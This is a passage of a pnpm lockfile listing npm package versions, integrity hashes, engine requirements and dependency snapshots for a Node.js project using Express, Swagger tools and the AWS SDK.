sha512-B8YqaKMmyuCO7BowF1Z1/mkPqLk6cs/l63Ojtd6otKjMx47Dq1utxfRxcavH1I7VSaL8n5BUaoutadnsX3AAVQ==} 1040 | engines: {node: '>=8.10.0'} 1041 | hasBin: true 1042 | 1043 | nopt@1.0.10: 1044 | resolution: {integrity: sha512-NWmpvLSqUrgrAC9HCuxEvb+PSloHpqVu+FqcO4eeF2h5qYRhA7ev6KvelyQAKtegUbC6RypJnlEOhd8vloNKYg==} 1045 | hasBin: true 1046 | 1047 | nopt@5.0.0: 1048 | resolution: {integrity: sha512-Tbj67rffqceeLpcRXrT7vKAN8CwfPeIBgM7E6iBkmKLV7bEMwpGgYLGv0jACUsECaa/vuxP0IjEont6umdMgtQ==} 1049 | engines: {node: '>=6'} 1050 | hasBin: true 1051 | 1052 | normalize-path@3.0.0: 1053 | resolution: {integrity: sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA==} 1054 | engines: {node: '>=0.10.0'} 1055 | 1056 | npmlog@5.0.1: 1057 | resolution: {integrity: sha512-AqZtDUWOMKs1G/8lwylVjrdYgqA4d9nu8hc+0gzRxlDb1I10+FHBGMXs6aiQHFdCUUlqH99MUMuLfzWDNDtfxw==} 1058 | 1059 | object-assign@4.1.1: 1060 | resolution: {integrity: sha512-rJgTQnkUnH1sFw8yT6VSU3zD3sWmu6sZhIseY8VX+GRu3P6F7Fu+JNDoXfklElbLJSnc3FUQHVe4cU5hj+BcUg==} 1061 | engines: {node: '>=0.10.0'} 1062 | 1063 | object-inspect@1.13.1: 1064 | resolution: {integrity: sha512-5qoj1RUiKOMsCCNLV1CBiPYE10sziTsnmNxkAI/rZhiD63CF7IqdFGC/XzjWjpSgLf0LxXX3bDFIh0E18f6UhQ==} 1065 | 1066 | on-finished@2.4.1: 1067 | resolution: {integrity: sha512-oVlzkg3ENAhCk2zdv7IJwd/QUD4z2RxRwpkcGY8psCVcCYZNq4wYnVWALHM+brtuJjePWiYF/ClmuDr8Ch5+kg==} 1068 | engines: {node: '>= 0.8'} 1069 | 1070 | on-headers@1.0.2: 1071 | resolution: {integrity: sha512-pZAE+FJLoyITytdqK0U5s+FIpjN0JP3OzFi/u8Rx+EV5/W+JTWGXG8xFzevE7AjBfDqHv/8vL8qQsIhHnqRkrA==} 1072 | engines: {node: '>= 0.8'} 1073 | 1074 | once@1.4.0: 1075 | resolution: {integrity: sha512-lNaJgI+2Q5URQBkccEKHTQOPaXdUxnZZElQTZY0MFUAuaEqe1E+Nyvgdz/aIyNi6Z9MzO5dv1H8n58/GELp3+w==} 1076 | 1077 | openapi-types@12.1.3: 1078 | resolution: {integrity: sha512-N4YtSYJqghVu4iek2ZUvcN/0aqH1kRDuNqzcycDxhOUpg7GdvLa2F3DgS6yBNhInhv2r/6I0Flkn7CqL8+nIcw==} 1079 | 1080 | parseurl@1.3.3: 1081 | resolution: {integrity: sha512-CiyeOxFT/JZyN5m0z9PfXw4SCBJ6Sygz1Dpl0wqjlhDEGGBP1GnsUVEL0p63hoG1fcj3fHynXi9NYO4nWOL+qQ==} 1082 | engines: {node: '>= 0.8'} 1083 | 1084 | path-is-absolute@1.0.1: 1085 | resolution: {integrity: sha512-AVbw3UJ2e9bq64vSaS9Am0fje1Pa8pbGqTTsmXfaIiMpnr5DlDhfJOuLj9Sf95ZPVDAUerDfEk88MPmPe7UCQg==} 1086 | engines: {node: '>=0.10.0'} 1087 | 1088 | path-to-regexp@0.1.7: 1089 | resolution: {integrity: sha512-5DFkuoqlv1uYQKxy8omFBeJPQcdoE07Kv2sferDCrAq1ohOU+MSDswDIbnx3YAM60qIOnYa53wBhXW0EbMonrQ==} 1090 | 1091 | pbkdf2-password@1.2.1: 1092 | resolution: {integrity: sha512-I6ZiUi82uhYN47lOzi8P7O69e70LRopgS4TIkq0ecDAPHrlxABWOHxLEsTzCuogkxTofFJDj0eEbOALgrrxhKg==} 1093 | 1094 | picomatch@2.3.1: 1095 | resolution: {integrity: sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA==} 1096 | engines: {node: '>=8.6'} 1097 | 1098 | proxy-addr@2.0.7: 1099 | resolution: {integrity: sha512-llQsMLSUDUPT44jdrU/O37qlnifitDP+ZwrmmZcoSKyLKvtZxpyV0n2/bD/N4tBAAZ/gJEdZU7KMraoK1+XYAg==} 1100 | engines: {node: '>= 0.10'} 1101 | 1102 | pstree.remy@1.1.8: 1103 | resolution: {integrity: sha512-77DZwxQmxKnu3aR542U+X8FypNzbfJ+C5XQDk3uWjWxn6151aIMGthWYRXTqT1E5oJvg+ljaa2OJi+VfvCOQ8w==} 1104 | 1105 | punycode@2.3.1: 1106 | resolution: {integrity: sha512-vYt7UD1U9Wg6138shLtLOvdAu+8DsC/ilFtEVHcH+wydcSpNE20AfSOduf6MkRFahL5FY7X1oU7nKVZFtfq8Fg==} 1107 | engines: {node: '>=6'} 1108 | 1109 | qs@6.11.0: 1110 | resolution: {integrity: sha512-MvjoMCJwEarSbUYk5O+nmoSzSutSsTwF85zcHPQ9OrlFoZOYIjaqBAJIqIXjptyD5vThxGq52Xu/MaJzRkIk4Q==} 1111 | engines: {node: '>=0.6'} 1112 | 1113 | random-bytes@1.0.0: 1114 | resolution: {integrity: sha512-iv7LhNVO047HzYR3InF6pUcUsPQiHTM1Qal51DcGSuZFBil1aBBWG5eHPNek7bvILMaYJ/8RU1e8w1AMdHmLQQ==} 1115 | engines: {node: '>= 0.8'} 1116 | 1117 | range-parser@1.2.1: 1118 | resolution: {integrity: sha512-Hrgsx+orqoygnmhFbKaHE6c296J+HTAQXoxEF6gNupROmmGJRoyzfG3ccAveqCBrwr/2yxQ5BVd/GTl5agOwSg==} 1119 | engines: {node: '>= 0.6'} 1120 | 1121 | raw-body@2.5.1: 1122 | resolution: {integrity: sha512-qqJBtEyVgS0ZmPGdCFPWJ3FreoqvG4MVQln/kCgF7Olq95IbOp0/BWyMwbdtn4VTvkM8Y7khCQ2Xgk/tcrCXig==} 1123 | engines: {node: '>= 0.8'} 1124 | 1125 | raw-body@2.5.2: 1126 | resolution: {integrity: sha512-8zGqypfENjCIqGhgXToC8aB2r7YrBX+AQAfIPs/Mlk+BtPTztOvTS01NRW/3Eh60J+a48lt8qsCzirQ6loCVfA==} 1127 | engines: {node: '>= 0.8'} 1128 | 1129 | readable-stream@3.6.2: 1130 | resolution: {integrity: sha512-9u/sniCrY3D5WdsERHzHE4G2YCXqoG5FTHUiCC4SIbr6XcLZBY05ya9EKjYek9O5xOAwjGq+1JdGBAS7Q9ScoA==} 1131 | engines: {node: '>= 6'} 1132 | 1133 | readdirp@3.6.0: 1134 | resolution: {integrity: sha512-hOS089on8RduqdbhvQ5Z37A0ESjsqz6qnRcffsMU3495FuTdqSm+7bhJ29JvIOsBDEEnan5DPu9t3To9VRlMzA==} 1135 | engines: {node: '>=8.10.0'} 1136 | 1137 | reusify@1.0.4: 1138 | resolution: {integrity: sha512-U9nH88a3fc/ekCF1l0/UP1IosiuIjyTh7hBvXVMHYgVcfGvt897Xguj2UOLDeI5BG2m7/uwyaLVT6fbtCwTyzw==} 1139 | engines: {iojs: '>=1.0.0', node: '>=0.10.0'} 1140 | 1141 | rimraf@3.0.2: 1142 | resolution: {integrity: sha512-JZkJMZkAGFFPP2YqXZXPbMlMBgsxzE8ILs4lMIX/2o0L9UBw9O/Y3o6wFw/i9YLapcUJWwqbi3kdxIPdC62TIA==} 1143 | hasBin: true 1144 | 1145 | safe-buffer@5.2.1: 1146 | resolution: {integrity: sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==} 1147 | 1148 | safer-buffer@2.1.2: 1149 | resolution: {integrity: sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==} 1150 | 1151 | semver@5.7.2: 1152 | resolution: {integrity: sha512-cBznnQ9KjJqU67B52RMC65CMarK2600WFnbkcaiwWq3xy/5haFJlshgnpjovMVJ+Hff49d8GEn0b87C5pDQ10g==} 1153 | hasBin: true 1154 | 1155 | semver@6.3.1: 1156 | resolution: {integrity: sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==} 1157 | hasBin: true 1158 | 1159 | semver@7.0.0: 1160 | resolution: {integrity: sha512-+GB6zVA9LWh6zovYQLALHwv5rb2PHGlJi3lfiqIHxR0uuwCgefcOJc59v9fv1w8GbStwxuuqqAjI9NMAOOgq1A==} 1161 | hasBin: true 1162 | 1163 | semver@7.5.4: 1164 | resolution: {integrity: sha512-1bCSESV6Pv+i21Hvpxp3Dx+pSD8lIPt8uVjRrxAUt/nbswYc+tK6Y2btiULjd4+fnq15PX+nqQDC7Oft7WkwcA==} 1165 | engines: {node: '>=10'} 1166 | hasBin: true 1167 | 1168 | send@0.18.0: 1169 | resolution: {integrity: sha512-qqWzuOjSFOuqPjFe4NOsMLafToQQwBSOEpS+FwEt3A2V3vKubTquT3vmLTQpFgMXp8AlFWFuP1qKaJZOtPpVXg==} 1170 | engines: {node: '>= 0.8.0'} 1171 | 1172 | seq-queue@0.0.5: 1173 | resolution: {integrity: sha512-hr3Wtp/GZIc/6DAGPDcV4/9WoZhjrkXsi5B/07QgX8tsdc6ilr7BFM6PM6rbdAX1kFSDYeZGLipIZZKyQP0O5Q==} 1174 | 1175 | serve-static@1.15.0: 1176 | resolution: {integrity: sha512-XGuRDNjXUijsUL0vl6nSD7cwURuzEgglbOaFuZM9g3kwDXOWVTck0jLzjPzGD+TazWbboZYu52/9/XPdUgne9g==} 1177 | engines: {node: '>= 0.8.0'} 1178 | 1179 | set-blocking@2.0.0: 1180 | resolution: {integrity: sha512-KiKBS8AnWGEyLzofFfmvKwpdPzqiy16LvQfK3yv/fVH7Bj13/wl3JSR1J+rfgRE9q7xUJK4qvgS8raSOeLUehw==} 1181 | 1182 | set-function-length@1.1.1: 1183 | resolution: {integrity: sha512-VoaqjbBJKiWtg4yRcKBQ7g7wnGnLV3M8oLvVWwOk2PdYY6PEFegR1vezXR0tw6fZGF9csVakIRjrJiy2veSBFQ==} 1184 | engines: {node: '>= 0.4'} 1185 | 1186 | setprototypeof@1.2.0: 1187 | resolution: {integrity: sha512-E5LDX7Wrp85Kil5bhZv46j8jOeboKq5JMmYM3gVGdGH8xFpPWXUMsNrlODCrkoxMEeNi/XZIwuRvY4XNwYMJpw==} 1188 | 1189 | side-channel@1.0.4: 1190 | resolution: {integrity: sha512-q5XPytqFEIKHkGdiMIrY10mvLRvnQh42/+GoBlFW3b2LXLE2xxJpZFdm94we0BaoV3RwJyGqg5wS7epxTv0Zvw==} 1191 | 1192 | sift@16.0.1: 1193 | resolution: {integrity: sha512-Wv6BjQ5zbhW7VFefWusVP33T/EM0vYikCaQ2qR8yULbsilAT8/wQaXvuQ3ptGLpoKx+lihJE3y2UTgKDyyNHZQ==} 1194 | 1195 | signal-exit@3.0.7: 1196 | resolution: {integrity: sha512-wnD2ZE+l+SPC/uoS0vXeE9L1+0wuaMqKlfz9AMUo38JsyLSBWSFcHR1Rri62LZc12vLr1gb3jl7iwQhgwpAbGQ==} 1197 | 1198 | simple-update-notifier@1.1.0: 1199 | resolution: {integrity: sha512-VpsrsJSUcJEseSbMHkrsrAVSdvVS5I96Qo1QAQ4FxQ9wXFcB+pjj7FB7/us9+GcgfW4ziHtYMc1J0PLczb55mg==} 1200 | engines: {node: '>=8.10.0'} 1201 | 1202 | smart-buffer@4.2.0: 1203 | resolution: {integrity: sha512-94hK0Hh8rPqQl2xXc3HsaBoOXKV20MToPkcXvwbISWLEs+64sBq5kFgn2kJDHb1Pry9yrP0dxrCI9RRci7RXKg==} 1204 | engines: {node: '>= 6.0.0', npm: '>= 3.0.0'} 1205 | 1206 | socks@2.7.1: 1207 | resolution: {integrity: sha512-7maUZy1N7uo6+WVEX6psASxtNlKaNVMlGQKkG/63nEDdLOWNbiUMoLK7X4uYoLhQstau72mLgfEWcXcwsaHbYQ==} 1208 | engines: {node: '>= 10.13.0', npm: '>= 3.0.0'} 1209 | 1210 | sparse-bitfield@3.0.3: 1211 | resolution: {integrity: sha512-kvzhi7vqKTfkh0PZU+2D2PIllw2ymqJKujUcyPMd9Y75Nv4nPbGJZXNhxsgdQab2BmlDct1YnfQCguEvHr7VsQ==} 1212 | 1213 | sqlstring@2.3.3: 1214 | resolution: {integrity: sha512-qC9iz2FlN7DQl3+wjwn3802RTyjCx7sDvfQEXchwa6CWOx07/WVfh91gBmQ9fahw8snwGEWU3xGzOt4tFyHLxg==} 1215 | engines: {node: '>= 0.6'} 1216 | 1217 | statuses@2.0.1: 1218 | resolution: {integrity: sha512-RwNA9Z/7PrK06rYLIzFMlaF+l73iwpzsqRIFgbMLbTcLD6cOao82TaWefPXQvB2fOC4AjuYSEndS7N/mTCbkdQ==} 1219 | engines: {node: '>= 0.8'} 1220 | 1221 | string-width@4.2.3: 1222 | resolution: {integrity: sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==} 1223 | engines: {node: '>=8'} 1224 | 1225 | string_decoder@1.3.0: 1226 | resolution: {integrity: sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==} 1227 | 1228 | strip-ansi@6.0.1: 1229 | resolution: {integrity: sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==} 1230 | engines: {node: '>=8'} 1231 | 1232 | strnum@1.0.5: 1233 | resolution: {integrity: sha512-J8bbNyKKXl5qYcR36TIO8W3mVGVHrmmxsd5PAItGkmyzwJvybiw2IVq5nqd0i4LSNSkB/sx9VHllbfFdr9k1JA==} 1234 | 1235 | supports-color@5.5.0: 1236 | resolution: {integrity: sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==} 1237 | engines: {node: '>=4'} 1238 | 1239 | swagger-jsdoc@6.2.8: 1240 | resolution: {integrity: sha512-VPvil1+JRpmJ55CgAtn8DIcpBs0bL5L3q5bVQvF4tAW/k/9JYSj7dCpaYCAv5rufe0vcCbBRQXGvzpkWjvLklQ==} 1241 | engines: {node: '>=12.0.0'} 1242 | hasBin: true 1243 | 1244 | swagger-parser@10.0.3: 1245 | resolution: {integrity: sha512-nF7oMeL4KypldrQhac8RyHerJeGPD1p2xDh900GPvc+Nk7nWP6jX2FcC7WmkinMoAmoO774+AFXcWsW8gMWEIg==} 1246 | engines: {node: '>=10'} 1247 | 1248 | swagger-ui-dist@5.9.1: 1249 | resolution: {integrity: sha512-5zAx+hUwJb9T3EAntc7TqYkV716CMqG6sZpNlAAMOMWkNXRYxGkN8ADIvD55dQZ10LxN90ZM/TQmN7y1gpICnw==} 1250 | 1251 | swagger-ui-express@5.0.0: 1252 | resolution: {integrity: sha512-tsU9tODVvhyfkNSvf03E6FAk+z+5cU3lXAzMy6Pv4av2Gt2xA0++fogwC4qo19XuFf6hdxevPuVCSKFuMHJhFA==} 1253 | engines: {node: '>= v0.10.32'} 1254 | peerDependencies: 1255 | express: '>=4.0.0 || >=5.0.0-beta' 1256 | 1257 | tar@6.2.0: 1258 | resolution: {integrity: sha512-/Wo7DcT0u5HUV486xg675HtjNd3BXZ6xDbzsCUZPt5iw8bTQ63bP0Raut3mvro9u+CUyq7YQd8Cx55fsZXxqLQ==} 1259 | engines: {node: '>=10'} 1260 | 1261 | to-regex-range@5.0.1: 1262 | resolution: {integrity: sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==} 1263 | engines: {node: '>=8.0'} 1264 | 1265 | toidentifier@1.0.1: 1266 | resolution: {integrity: sha512-o5sSPKEkg/DIQNmH43V0/uerLrpzVedkUh8tGNvaeXpfpuwjKenlSox/2O/BTlZUtEe+JG7s5YhEz608PlAHRA==} 1267 | engines: {node: '>=0.6'} 1268 | 1269 | touch@3.1.0: 1270 | resolution: {integrity: sha512-WBx8Uy5TLtOSRtIq+M03/sKDrXCLHxwDcquSP2c43Le03/9serjQBIztjRz6FkJez9D/hleyAXTBGLwwZUw9lA==} 1271 | hasBin: true 1272 | 1273 | tr46@0.0.3: 1274 | resolution: {integrity: sha512-N3WMsuqV66lT30CrXNbEjx4GEwlow3v6rr4mCcv6prnfwhS01rkgyFdjPNBYd9br7LpXV1+Emh01fHnq2Gdgrw==} 1275 | 1276 | tr46@3.0.0: 1277 | resolution: {integrity: sha512-l7FvfAHlcmulp8kr+flpQZmVwtu7nfRV7NZujtN0OqES8EL4O4e0qqzL0DC5gAvx/ZC/9lk6rhcUwYvkBnBnYA==} 1278 | engines: {node: '>=12'} 1279 | 1280 | ts-node@10.9.1: 1281 | resolution: {integrity: sha512-NtVysVPkxxrwFGUUxGYhfux8k78pQB3JqYBXlLRZgdGUqTO5wU/UyHop5p70iEbGhB7q5KmiZiU0Y3KlJrScEw==} 1282 | hasBin: true 1283 | peerDependencies: 1284 | '@swc/core': '>=1.2.50' 1285 | '@swc/wasm': '>=1.2.50' 1286 | '@types/node': '*' 1287 | typescript: '>=2.7' 1288 | peerDependenciesMeta: 1289 | '@swc/core': 1290 | optional: true 1291 | '@swc/wasm': 1292 | optional: true 1293 | 1294 | tslib@1.14.1: 1295 | resolution: {integrity: sha512-Xni35NKzjgMrwevysHTCArtLDpPvye8zV/0E4EyYn43P7/7qvQwPh9BGkHewbMulVntbigmcT7rdX3BNo9wRJg==} 1296 | 1297 | tslib@2.6.2: 1298 | resolution: {integrity: sha512-AEYxH93jGFPn/a2iVAwW87VuUIkR1FVUKB77NwMF7nBTDkDrrT/Hpt/IrCJ0QXhW27jTBDcf5ZY7w6RiqTMw2Q==} 1299 | 1300 | type-is@1.6.18: 1301 | resolution: {integrity: sha512-TkRKr9sUTxEH8MdfuCSP7VizJyzRNMjj2J2do2Jr3Kym598JVdEksuzPQCnlFPW4ky9Q+iA+ma9BGm06XQBy8g==} 1302 | engines: {node: '>= 0.6'} 1303 | 1304 | typescript@4.9.5: 1305 | resolution: {integrity: sha512-1FXk9E2Hm+QzZQ7z+McJiHL4NW1F2EzMu9Nq9i3zAaGqibafqYwCVU6WyWAuyQRRzOlxou8xZSyXLEN8oKj24g==} 1306 | engines: {node: '>=4.2.0'} 1307 | hasBin: true 1308 | 1309 | uid-safe@2.1.5: 1310 | resolution: {integrity: sha512-KPHm4VL5dDXKz01UuEd88Df+KzynaohSL9fBh096KWAxSKZQDI2uBrVqtvRM4rwrIrRRKsdLNML/lnaaVSRioA==} 1311 | engines: {node: '>= 0.8'} 1312 | 1313 | undefsafe@2.0.5: 1314 | resolution: {integrity: sha512-WxONCrssBM8TSPRqN5EmsjVrsv4A8X12J4ArBiiayv3DyyG3ZlIg6yysuuSYdZsVz3TKcTg2fd//Ujd4CHV1iA==} 1315 | 1316 | undici-types@5.26.5: 1317 | resolution: {integrity: sha512-JlCMO+ehdEIKqlFxk6IfVoAUVmgz7cU7zD/h9XZ0qzeosSHmUJVOzSQvvYSYWXkFXC+IfLKSIffhv0sVZup6pA==} 1318 | 1319 | unpipe@1.0.0: 1320 | resolution: {integrity: sha512-pjy2bYhSsufwWlKwPc+l3cN7+wuJlK6uz0YdJEOlQDbl6jo/YlPi4mb8agUkVC8BF7V8NuzeyPNqRksA3hztKQ==} 1321 | engines: {node: '>= 0.8'} 1322 | 1323 | util-deprecate@1.0.2: 1324 | resolution: {integrity: sha512-EPD5q1uXyFxJpCrLnCc1nHnq3gOa6DZBocAIiI2TaSCA7VCJ1UJDMagCzIkXNsUYfD1daK//LTEQ8xiIbrHtcw==} 1325 | 1326 | utils-merge@1.0.1: 1327 | resolution: {integrity: sha512-pMZTvIkT1d+TFGvDOqodOclx0QWkkgi6Tdoa8gC8ffGAAqz9pzPTZWAybbsHHoED/ztMtkv/VoYTYyShUn81hA==} 1328 | engines: {node: '>= 0.4.0'} 1329 | 1330 | uuid@8.3.2: 1331 | resolution: {integrity: sha512-+NYs2QeMWy+GWFOEm9xnn6HCDp0l7QBD7ml8zLUmJ+93Q5NF0NocErnwkTkXVFNiX3/fpC6afS8Dhb/gz7R7eg==} 1332 | hasBin: true 1333 | 1334 | v8-compile-cache-lib@3.0.1: 1335 | resolution: {integrity: sha512-wa7YjyUGfNZngI/vtK0UHAN+lgDCxBPCylVXGp0zu59Fz5aiGtNXaq3DhIov063MorB+VfufLh3JlF2KdTK3xg==} 1336 | 1337 | validator@13.11.0: 1338 | resolution: {integrity: sha512-Ii+sehpSfZy+At5nPdnyMhx78fEoPDkR2XW/zimHEL3MyGJQOCQ7WeP20jPYRz7ZCpcKLB21NxuXHF3bxjStBQ==} 1339 | engines: {node: '>= 0.10'} 1340 | 1341 | vary@1.1.2: 1342 | resolution: {integrity: sha512-BNGbWLfd0eUPabhkXUVm0j8uuvREyTh5ovRa/dyow/BqAbZJyC+5fU+IzQOzmAKzYqYRAISoRhdQr3eIZ/PXqg==} 1343 | engines: {node: '>= 0.8'} 1344 | 1345 | webidl-conversions@3.0.1: 1346 | resolution: {integrity: sha512-2JAn3z8AR6rjK8Sm8orRC0h/bcl/DqL7tRPdGZ4I1CjdF+EaMLmYxBHyXuKL849eucPFhvBoxMsflfOb8kxaeQ==} 1347 | 1348 | webidl-conversions@7.0.0: 1349 | resolution: {integrity: sha512-VwddBukDzu71offAQR975unBIGqfKZpM+8ZX6ySk8nYhVoo5CYaZyzt3YBvYtRtO+aoGlqxPg/B87NGVZ/fu6g==} 1350 | engines: {node: '>=12'} 1351 | 1352 | whatwg-url@11.0.0: 1353 | resolution: {integrity: sha512-RKT8HExMpoYx4igMiVMY83lN6UeITKJlBQ+vR/8ZJ8OCdSiN3RwCq+9gH0+Xzj0+5IrM6i4j/6LuvzbZIQgEcQ==} 1354 | engines: {node: '>=12'} 1355 | 1356 | whatwg-url@5.0.0: 1357 | resolution: {integrity: sha512-saE57nupxk6v3HY35+jzBwYa0rKSy0XR8JSxZPwgLr7ys0IBzhGviA1/TUGJLmSVqs8pb9AnvICXEuOHLprYTw==} 1358 | 1359 | wide-align@1.1.5: 1360 | resolution: {integrity: sha512-eDMORYaPNZ4sQIuuYPDHdQvf4gyCF9rEEV/yPxGfwPkRodwEgiMUUXTx/dex+Me0wxx53S+NgUHaP7y3MGlDmg==} 1361 | 1362 | wrappy@1.0.2: 1363 | resolution: {integrity: sha512-l4Sp/DRseor9wL6EvV2+TuQn63dMkPjZ/sp9XkghTEbV9KlPS1xUsZ3u7/IQO4wxtcFB4bgpQPRcR3QCvezPcQ==} 1364 | 1365 | yallist@4.0.0: 1366 | resolution: {integrity: sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==} 1367 | 1368 | yaml@2.0.0-1: 1369 | resolution: {integrity: sha512-W7h5dEhywMKenDJh2iX/LABkbFnBxasD27oyXWDS/feDsxiw0dD5ncXdYXgkvAsXIY2MpW/ZKkr9IU30DBdMNQ==} 1370 | engines: {node: '>= 6'} 1371 | 1372 | yn@3.1.1: 1373 | resolution: {integrity: sha512-Ux4ygGWsu2c7isFWe8Yu1YluJmqVhxqK2cLXNQA5AcC3QfbGNpM7fu0Y8b/z16pXLnFxZYvWhd3fhBY9DLmC6Q==} 1374 | engines: {node: '>=6'} 1375 | 1376 | z-schema@5.0.5: 1377 | resolution: {integrity: sha512-D7eujBWkLa3p2sIpJA0d1pr7es+a7m0vFAnZLlCEKq/Ij2k0MLi9Br2UPxoxdYystm5K1yeBGzub0FlYUEWj2Q==} 1378 | engines: {node: '>=8.0.0'} 1379 | hasBin: true 1380 | 1381 | snapshots: 1382 | 1383 | '@apidevtools/json-schema-ref-parser@9.1.2': 1384 | dependencies: 1385 | '@jsdevtools/ono': 7.1.3 1386 | '@types/json-schema': 7.0.15 1387 | call-me-maybe: 1.0.2 1388 | js-yaml: 4.1.0 1389 | 1390 | '@apidevtools/openapi-schemas@2.1.0': {} 1391 | 1392 | '@apidevtools/swagger-methods@3.0.2': {} 1393 | 1394 | '@apidevtools/swagger-parser@10.0.3(openapi-types@12.1.3)': 1395 | dependencies: 1396 | '@apidevtools/json-schema-ref-parser': 9.1.2 1397 | '@apidevtools/openapi-schemas': 2.1.0 1398 | '@apidevtools/swagger-methods': 3.0.2 1399 | '@jsdevtools/ono': 7.1.3 1400 | call-me-maybe: 1.0.2 1401 | openapi-types: 12.1.3 1402 | z-schema: 5.0.5 1403 | 1404 | '@aws-crypto/crc32@3.0.0': 1405 | dependencies: 1406 | '@aws-crypto/util': 3.0.0 1407 | '@aws-sdk/types': 3.433.0 1408 | tslib: 1.14.1 1409 | optional: true 1410 | 1411 | '@aws-crypto/ie11-detection@3.0.0': 1412 | dependencies: 1413 | tslib: 1.14.1 1414 | optional: true 1415 | 1416 | '@aws-crypto/sha256-browser@3.0.0': 1417 | dependencies: 1418 | '@aws-crypto/ie11-detection': 3.0.0 1419 | '@aws-crypto/sha256-js': 3.0.0 1420 | '@aws-crypto/supports-web-crypto': 3.0.0 1421 | '@aws-crypto/util': 3.0.0 1422 | '@aws-sdk/types': 3.433.0 1423 | '@aws-sdk/util-locate-window': 3.310.0 1424 | '@aws-sdk/util-utf8-browser': 3.259.0 1425 | tslib: 1.14.1 1426 | optional: true 1427 | 1428 | '@aws-crypto/sha256-js@3.0.0': 1429 | dependencies: 1430 | '@aws-crypto/util': 3.0.0 1431 | '@aws-sdk/types': 3.433.0 1432 | tslib: 1.14.1 1433 | optional: true 1434 | 1435 | '@aws-crypto/supports-web-crypto@3.0.0': 1436 | dependencies: 1437 | tslib: 1.14.1 1438 | optional: true 1439 | 1440 | '@aws-crypto/util@3.0.0': 1441 | dependencies: 1442 | '@aws-sdk/types': 3.433.0 1443 | '@aws-sdk/util-utf8-browser': 3.259.0 1444 | tslib: 1.14.1 1445 | optional: true 1446 | 1447 | '@aws-sdk/client-cognito-identity@3.445.0': 1448 | dependencies: 1449 | '@aws-crypto/sha256-browser': 3.0.0 1450 | '@aws-crypto/sha256-js': 3.0.0 1451 | '@aws-sdk/client-sts': 3.445.0 1452 | '@aws-sdk/core': 3.445.0 1453 | '@aws-sdk/credential-provider-node': 3.445.0 1454 | '@aws-sdk/middleware-host-header': 3.433.0 1455 | '@aws-sdk/middleware-logger': 3.433.0 1456 | '@aws-sdk/middleware-recursion-detection': 3.433.0 1457 | '@aws-sdk/middleware-signing': 3.433.0 1458 | '@aws-sdk/middleware-user-agent': 3.438.0 1459 | '@aws-sdk/region-config-resolver': 3.433.0 1460 | '@aws-sdk/types': 3.433.0 1461 | '@aws-sdk/util-endpoints': 3.438.0 1462 | '@aws-sdk/util-user-agent-browser': 3.433.0 1463 | '@aws-sdk/util-user-agent-node': 3.437.0 1464 | '@smithy/config-resolver': 2.0.16 1465 | '@smithy/fetch-http-handler': 2.2.4 1466 | '@smithy/hash-node': 2.0.12 1467 | '@smithy/invalid-dependency': 2.0.12 1468 | '@smithy/middleware-content-length': 2.0.14 1469 | '@smithy/middleware-endpoint': 2.1.3 1470 | '@smithy/middleware-retry': 2.0.18 1471 | '@smithy/middleware-serde': 2.0.12 1472 | '@smithy/middleware-stack': 2.0.6 1473 | '@smithy/node-config-provider': 2.1.3 1474 | '@smithy/node-http-handler': 2.1.8 1475 | '@smithy/protocol-http': 3.0.8 1476 | '@smithy/smithy-client': 2.1.12 1477 | '@smithy/types': 2.4.0 1478 | '@smithy/url-parser': 2.0.12 1479 | '@smithy/util-base64': 2.0.0 1480 | '@smithy/util-body-length-browser': 2.0.0 1481 | '@smithy/util-body-length-node': 2.1.0 1482 | '@smithy/util-defaults-mode-browser': 2.0.16 1483 | '@smithy/util-defaults-mode-node': 2.0.21 1484 | '@smithy/util-endpoints': 1.0.2 1485 | '@smithy/util-retry': 2.0.5 1486 | '@smithy/util-utf8': 2.0.0 1487 | tslib: 2.6.2 1488 | transitivePeerDependencies: 1489 | - aws-crt 1490 | optional: true 1491 | 1492 | '@aws-sdk/client-sso@3.445.0': 1493 | dependencies: 1494 | '@aws-crypto/sha256-browser': 3.0.0 1495 | '@aws-crypto/sha256-js': 3.0.0 1496 | '@aws-sdk/core': 3.445.0 1497 | '@aws-sdk/middleware-host-header': 3.433.0 1498 | '@aws-sdk/middleware-logger': 3.433.0 1499 | '@aws-sdk/middleware-recursion-detection': 3.433.0 1500 | '@aws-sdk/middleware-user-agent': 3.438.0 1501 | '@aws-sdk/region-config-resolver': 3.433.0 1502 | '@aws-sdk/types': 3.433.0 1503 | '@aws-sdk/util-endpoints': 3.438.0 1504 | '@aws-sdk/util-user-agent-browser': 3.433.0 1505 | '@aws-sdk/util-user-agent-node': 3.437.0 1506 | '@smithy/config-resolver': 2.0.16 1507 | '@smithy/fetch-http-handler': 2.2.4 1508 | '@smithy/hash-node': 2.0.12 1509 | '@smithy/invalid-dependency': 2.0.12 1510 | '@smithy/middleware-content-length': 2.0.14 1511 | 